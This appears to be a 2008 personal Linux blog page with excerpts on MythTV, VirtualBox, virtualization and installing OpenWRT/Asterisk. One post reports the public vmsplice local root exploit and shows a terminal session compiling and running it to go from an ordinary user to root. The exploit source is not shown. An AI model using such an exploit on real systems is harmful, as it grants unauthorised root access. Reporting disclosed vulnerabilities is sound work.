Introduction
For a long time I used an old XBOX with the homebrew mediacenter for my media purposes. Being the Open Source enthusiast, I didn’t want to have a proprietary vendor lock-in by the market leaders in Belgium (Belgamcom TV & Telenet). So I joined the only decent alternative (being TV Vlaanderen : satellite provider)), as they allow the use of own hardware.
At a given point my girlfriend wanted to record her favorite show when she wasn’t at home, and I wanted a cheap alternative to stream the tv across the home. MythTV came on top after checking out different alternatives. Freevo didn’t seem to convince me, VDR looked decent, but in the end MythTV had the upperhand on marketshare & documentation.
Anyways… I bought my self the hardware to setup my box, which included an ASUS M2A-VM HDMI motherboard. But how could I forget to check this… the chipset it used an ATI chipset for it’s integrated video (being the X1250). After setup in the MythTV box with MythBuntu everything worked like a charm, except the “LiveTV”. It was “laggy”, “choppy”, … a tad to slow to get passed the “WAF”-test (Wife Annoyance Factor).
Continue reading “The unofficial guide to getting your TV-out working on an ATI X1250”
Month: February 2008
Linux being cursed because it’s free?
The story below is an excerpt from an article written by Vlad Dolezal. Being a student of psychology, he took another point of view towards linux evangelism.
In the 1970’s, a record label in Britain was selling albums containing cover versions of contemporary songs. Although the records sold for less than a pound a copy, hardly anyone bought them and the record company was suffering.
A whizz-kid joined the board and announced he wanted to more than double the price of the records. The other executives were shocked, but eventually agreed to his plan. Within a few weeks, the records were flying off the shelves.
When the records didn’t cost much, people didn’t value them. The record company was saved by redefining people’s perception of their product.
The article is build around the concept that people only value the things that they cannot obtain easily. It’s just about the basic human nature… Check it out!
OWA Most Popular – Version 1.6.0
OWA Most Popular has been updated.
The major changes:
- 1.5.0 – WordPress Theme compliance : The widgets now use the correct wordpress internals so it will comply to the theming standards.
- 1.6.0 – Category algorithm : filter on category id : A new algorithm is available, giving you the option to only display the popular posts for a given category.
Innotek (VirtualBox) Acquired by Sun
SANTA CLARA, CA February 12, 2008 Sun Microsystems, Inc. (NASDAQ: JAVA) today announced that it has entered into a stock purchase agreement to acquire innotek, the provider of the leading edge, open source virtualization software called VirtualBox. By enabling developers to more efficiently build, test and run applications on multiple platforms, VirtualBox will extend the Sun xVM platform onto the desktop and strengthen Sun’s leadership in the virtualization market. This software is available for all major operating systems at http://www.virtualbox.org and http://www.openxvm.org.
So sun strengthens it’s product portfolio by adding a virtualization option.
The Virtualization options in Linux
Check out the following article at TechThrob.com.
An excerp of the intro:
This week Canonical, the company behind Ubuntu Linux, announced a partnership with Parallels, maker of the Virtualization products Parallels Workstation and Parallels Desktop for Mac. Consequently, the Parallels Workstation virtualization software is now available to download and install in Ubuntu Linux, completely supported by Canonical, and done entirely through the Add/Remove programs interface. This makes four different virtualization programs — three of which are installable via the package repositories — that run on Ubuntu Linux. (See the Correction: in the Installing VirtualBox section for more information)
This article compares four virtualization products available for Ubuntu Linux: the free, open source x86 emulator Qemu; the closed-but-free versions of VirtualBox and VMware-Server, and the commercial Parallels Workstation.
Linux Kernel 2.6.17 – 2.6.24.1 vmsplice Local Root Exploit
A proof of concept for a local root exploit to hack linux kernels between version 2.6.17 and 2.6.24.1 has been released by ‘milw0rm’. I guess I won’t be the only one who says “feck…” to this.
$ gcc exploit.c -o exploit
$ whoami
heikki
$ ./exploit
———————————–
Linux vmsplice Local Root Exploit
By qaaz
———————————–
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7d90000 .. 0xb7dc2000
[+] root
$ whoami
root
Kernel 2.6.22-14-generic
References:
LKML
milw0rm.com
Launchpad
Debian Bugs
Installing Asterisk on a Linksys WRTG
A while back I wrote a small piece about installing OpenWRT on a Linksys WRTG. This part will be focussed on installing Asterisk on your WRTG.
Base Install
First we’ll be installing “OpenWRT” as our base “OS”. We’ll take the latest WhiteRussian for this. The flashing is done, when the progress indicator seems to hang.
Step-by-step
root@OpenWrt:/# cd /tmp/
root@OpenWrt:~# wget http://downloads.openwrt.org/whiterussian/0.9/default/openwrt-brcm-2.4-squashfs.trx
Connecting to downloads.openwrt.org[195.56.146.238]:80
openwrt-brcm-2.4-squ 100% |***************************************************************************| 1512 KB 00:00 ETA
root@OpenWrt:~# mtd -r write /tmp/openwrt-brcm-2.4-squashfs.trx linux
Unlocking linux …
Writing from /tmp/openwrt-brcm-2.4-squashfs.trx to linux … [w]
Packages
Now we’ll connect to our newly installed device, in orde to:
- Setup a password
- Update/Upgrade the packages
- Install Asterisk
Karim Vaes 